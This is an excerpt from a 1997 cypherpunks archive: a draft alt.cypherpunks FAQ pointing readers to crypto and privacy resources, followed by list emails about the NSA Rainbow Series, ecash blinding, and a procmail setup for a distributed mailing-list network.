reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobin Fricke <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:56:17 -0800 (PST)
To: Moroni <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130256.SAA18277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        1-800-688-6115 press 0 or just wait for the operator. My second
> order consisting of posters and video has not arrived either. It has been
> about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> you order the Rainbow series you will be getting a large box.Their are
> something like 30+ booklets in the series.
>         There is a set of security posters  that include a Santa
> poster.And there is also a video with two films on it (Acess Ins and outs
> adb Acess Control).

How much does all this stuff from the NSA cost?

Tobin Fricke
(please reply privately, tobin@mail.edm.net)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 15:26:49 -0800 (PST)
To: "Jonathan M. Bresler" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122326.PAA08688@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
                                                   ^^^^^^^
>	your expected mail volume is 100,000+ messages a day?
>
>	i run lists that do 200,000+ routinely.
>	recent peak of 350,000 messages
>
>	does that meet your needs?

Great.

Let's run cypherpunks with a government subsidy.

;-).

Pulling your leg, just a bit..

Cheers,
Bob Hettinga

"So much for a geodesic monitary system..."


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 15:12:45 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702122312.PAA08308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


    maybe relief is in sight; can we spell excedrin?

on or about 970211:1433 educom@elanor.oit.unc.edu said:

+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL

+A U.S. district court in Ohio has granted CompuServe's request for a
+preliminary injunction barring Cyber Promotions Inc. from sending
+unsolicited e-mail to its subscribers while the commercial provider
+pursues its lawsuit against Cyber Promotions.  The injunction was
+granted after Cyber Promotions foiled CompuServe's initial attempts to
+block its messages by falsifying the point-of-origin information on
+its e-mail messages and by configuring its network servers to conceal
+its actual Internet domain name. "To the extent that defendant's
+multitudinous electronic mailings demand the disk space and drain the
+processing power of plaintiff's computer equipment, those resources
+are not available to CompuServe subscribers," the court reasoned.  In
+addition, because many subscribers had complained to CompuServe about
+the mailings, the court found that Cyber Promotions' intrusions
+constituted "harm" as well as trespassing under common tort law. The
+court found that the "plaintiff is not a government agency or a state
+actor which seeks to preempt defendants' ability to communicate but is
+instead a private actor trying to tailor the nuances of its service to
+provide maximum utility to its customers."  (BNA Daily Report for
+Executives 7 Feb 97)
 ___________________________________________________________attila_____
   "The only difference between me and a madman
    is that I am not mad." 
        --Salvador Dali ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 16:12:17 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130012.QAA09625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@einstein.ssz.com"  "Jim Choate" 12-FEB-1997 18:43:56.23

> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Umm... because you'll eventually accumulate _lots_ of addresses
>> that don't work, which will slow things down tremendously in sending
>> mail out?

>The current subscription is between 1,000 and 2,000 I don't think that is
>_lots_. All we need to do is count the number of bounces per address in
>a given period, the SSZ end is trying to decide between weekly or
>monthly cleanings, and then clear that address. At no point would I need
>to archive the original bounce.

	Someone with more experience correct me if I'm wrong (I'm just
starting to learn about mailing list management), but isn't saving
at least the first bounce from a given address good in order to check
what address is the one that's actually bouncing? Admittedly, this only
applies to badly-formed bounces. The rest can just have the address
noted.

>> 	Well, loki@cyberpass.net has made the offer to host the entire
>> list... and Lance is certainly making money at it. While this would have
>> some problems in comparison with the distributed list idea (namely more of
>> a choke point), it would decidedly help.

>I certainly hope they get a cpunks address made available. I will certainly
>subscribe cpunks@ssz so that the distributed remailer will benefit from 
>that input. However, one of the major realizations is that as long as one
>anything is involved in the list it is capable of being shutdown at any
>time with no warning. It also makes it much easier to compromise. I would
>like to see servers in several countries myself.

	Agreed.

>> >Is anyone interested in acting as a mail-to-news gateway?

>Want to volunteer?

	Give me some idea of how much programming knowledge, time, etcetera
is required, please, before I can answer. I'd be renting space on some other
computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
programming language (i.e., beyond Applesoft Basic) that I know anything of
is Perl (and I don't know that all that well); and I am somewhat busy with
other stuff. In other words, it depends.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:59:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130159.RAA13474@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

> >Want to volunteer?
> 
> 	Give me some idea of how much programming knowledge, time, etcetera
> is required, please, before I can answer. I'd be renting space on some other
> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
> programming language (i.e., beyond Applesoft Basic) that I know anything of
> is Perl (and I don't know that all that well); and I am somewhat busy with
> other stuff. In other words, it depends.

Hmmm, not shure how much programming it would take - never done it myself.
I think Perl would be an acceptable language. I certainly hope to do the
majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
who knows the fine points of how INN cache's messages. Redbeard and I had a
short discussion about this issue today relating to tracking messages to
reduce mail-loops. I will discuss it with him and see what happens.

I know exactly what you mean. I have two full-time jobs and hadn't really
thought of taking on the cpunks list in any manner. But hey, that is the
spice in life...

Give me a couple of days to look at the situation and if somebody don't beat
me to it I'll post what I find out. Cool?

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST)
To: Moroni <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130513.VAA29427@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:53 PM -0500 2/12/97, Moroni wrote:
>       Zip,NAda,Nothing. And they have more too. They were backlogged so
>some people haven't gotten their mail since I last posted about. I called
>yesterday about my videos and posters and lo and behold I received my two
>tech manuals today.
>       The people who answer the lines are friendly and usually pretty
>industrious in getting things out or done.
>       By the way there is supposed to be a department split in the near
>future so I don't know if manuals will be in one department and posters in
>another or what.

By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile
of crap.

I subscribed to them several years ago, got the Big Box of Manuals, and
then got  new editions every few months for several years. None of them
were ever useful to me in even the slightest way.

They are written in "bureaucratese," so they're not even fun reading.

If they're not on the Web by now it just shows what a sicko government
agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I
mean quickly enough.

Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package
from the National Security Agency!") the books are worth very little.

Do a tree a favor and just say No to the Rainbow series.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:58:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702130158.RAA13462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 16:22:28 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> I was making the point that _any_ site distributing a list is likely to
> face legal pressures not to carry certain items. Read between the lines (or
> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
> the products of Sandy's company, and legal pressures applied, to see what I
> mean.

This is exactly the reason that my suggestion to anyone setting up a
remailer with any sort of controversial content should do it as some sort of
outreach of their business. It is too expensive in time, money, and hassles
to do for grins and giggles.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 18:00:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130200.SAA13598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 00:04:44 +0000
> From: paul@fatmans.demon.co.uk
> Subject: Re: Network of majordomos


> Charter:
> 
> alt.cypherpunks will serve as a discussion forum for the members of 
> the cypherpunks community. The discussion group previously resided on 
> a mailing list run at toad.com but due to a difference of opinion 
> between the majority of active members of the list and the owner of 
> toad.com, John Gilmore, the list must now relocate onto usenet as a 
> temporary measure while further measures are put in place to 
> re-establish a mailing list format. The group has approximately 1500 
> members and has been active online for some 5 years.

I would like to see that 'temporary measure' changed to one means of
distribution and a resource in addition to the remailer chain. I would
really like to see this stay in place.



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 17:41:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash)
Message-ID: <199702130141.RAA12299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:08 pm -0500 2/12/97, Tim May wrote:

>This "disintermediates" the process, and makes for an "everyone a mint"
>situation, which has some of the same nice properties that an "everyone a
>remailer" ecology of remailers and users has.

And, of course, Ian's going to teach all this fun stuff in Anguilla next week.

;-).

E-mail me, and I'll refresh your memory with a workshop program, or just
click on the FC97 URL in my .sig, below. We have lots of room. Just don't
take American, though American Eagle's okay...

Shamelessly yours,
P. T. Hettinga
Promotional Chairman,
FC97 Workshop, Conference, and Exhibition

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Feb 1997 17:57:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130157.RAA13347@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 12 Feb 1997 janke@unixg.ubc.ca wrote:

> It's not too hard: The payee forwards a blinded, non-signed coin
> to the payer. The payer has the bank sign this, and then returns
> it to the payee who strips out the blinding factor.

This is correct except for the fact that the payer also has to apply a blinding
factor to the coin, thus making it a "double-blinded" coin.  It gets signed by
the bank, the payer divides the coin by the blinding factor and sends it to
the payee, who then strips out his blinding factor.  Ecash coins can also be
laundered making the above scheme mostly unnecessary.  Since most people will
probably not look upon fully anonymous ecash highly, laundering will be a more
popular option as it cannot be prevented.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Wed, 12 Feb 1997 21:13:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New group
Message-ID: <199702130513.VAA29409@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:38 AM 2/12/97 -0800, Dale Thorn <dthorn@gte.net> wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.

It has to be created on your local server, Dale.

Wait a bit, and if doesn't show up speak to someone st your ISP.


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:12:00 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: subscribe
Message-ID: <199702130512.VAA29302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> 
> Hi Igor,
> 
> > I will not impact me negatively. I do, however, suggest very strongly
> > that hosts should be subscribed to each other thgrough another mechanism
> > and not majordomo, in order to prevent mail loops, header rewriting and such.
> 
> Suggestions? What I had in mind was that any messages that get sent on
> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
> with is a 'linked list' of remailers. Remailer A sends only to B and
> receives only from C...
> 
> 
>                                A
>                              ^   v
>                              C < B

> Then to stop loops B deletes all outgoing mail from B. Since email can be
> forwarded from many sites the search must traverse the entire forward chain
> killing the message if B appears as a source. I suspect a simple procmail sort
> can accomplish this. My next step is to brush up on my procmail. I hope to
> have something in a couple of days that will allow you to subscribe
> cpunks@algebra to cpunks@ssz and both ends will be filtering.

Here's how I do it (it is pretty close to your proposal): 

1) I delete duplicate messages (by looking up the database of
message-IDs) right away
2) I bounce all incoming messages to several other list servers
3) I pipe the article to majordomo for distribution.

Note that majordomo changes headers and I wuold like to feed
other servers with UNCHANGED articles.

Here's the .procmailrc that takes care of this:

(OTHER_HOSTS will be redefined to include, e.g., cypherpunks@ssz.com)

# Please check if all the paths in PATH are reachable, remove the ones that
# are not.
#
# NOTE: I use lockfiles extensively (and even excessively) because
# I do not want to overburden the system. Since I am on a
# PPP link that is not always on, sometimes large amounts of 
# submissions come in simultaneously and that may impair
# performance of the overall system. You do not REALLY need
# to use these lockfiles otherwise.
###################################################################

PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail	# You'd better make sure it exists
DEFAULT=$MAILDIR/mbox
# VERBOSE=ON
LOGFILE=$MAILDIR/from
LOCKFILE=$HOME/.lockmail

OTHER_HOSTS="cypherpunks@zzzz.com"

:0 c
$MAILDIR/allmail

############################################################ mailbombing
############################################################ end mailbombing

:0
* ^TOcypherpunks
* !^X-Loop:
* !FROM_MAILER
* !FROM_DAEMON
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 128000 msgid.cache

  # send it to all other hosts
  :0 c
  !$OTHER_HOSTS

  # add X-Loop:
  :0 fhw
  | formail -I "X-Loop: cypherpunks@algebra.com"

  # send it to people
  :0 c
  | cypherpunks-send-subscribers

  # Accounting, logging
  :0
  | cypherpunks-accounting
}

:0:
* ^TOcypherpunks-request
$DEFAULT

# all the rest is trash
:0
$DEFAULT

# thats where it should be
#/dev/null

> Another nice advantage of this architecture is that 'rings' of remailers can
> be interconnected by simply sending output to more than one site. Might even
> be a good stability rule, "Never have a remailer send to more than 1 machine
> in its 'own' ring". I see no limit other than resources that would limit the
> number of rings an individual remailer might be in.

A very good point.

> The address is 'cypherpunks@ssz.com' but as alluded to above. I would  like
> to let it run 1 way for a day or so to get an idea of the stability of our
> network link. You might consider creating a bogus username on your end.
> Subscribe that user to the SSZ remailer and to your own mail list. Then use
> procmail to filter all outgoing mail of that user since its incoming would
> be from your list and its outgoing would go to mine, which then forwards
> them to your list. We might want to call the bogus user 'gatekeeper'.

Yes, we really should make darn sure that no loops are poissible
before inviting people to subscribe to our lists.

> If its agreeable lets get together on the cpunks-hosts list tomorrow and
> discuss this a little more.
> 
> If you don't mind, please forward this to the cpunks@toad list with your
> responces. I would like to expose it to a little criticism.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 21:12:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702130512.VAA29374@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

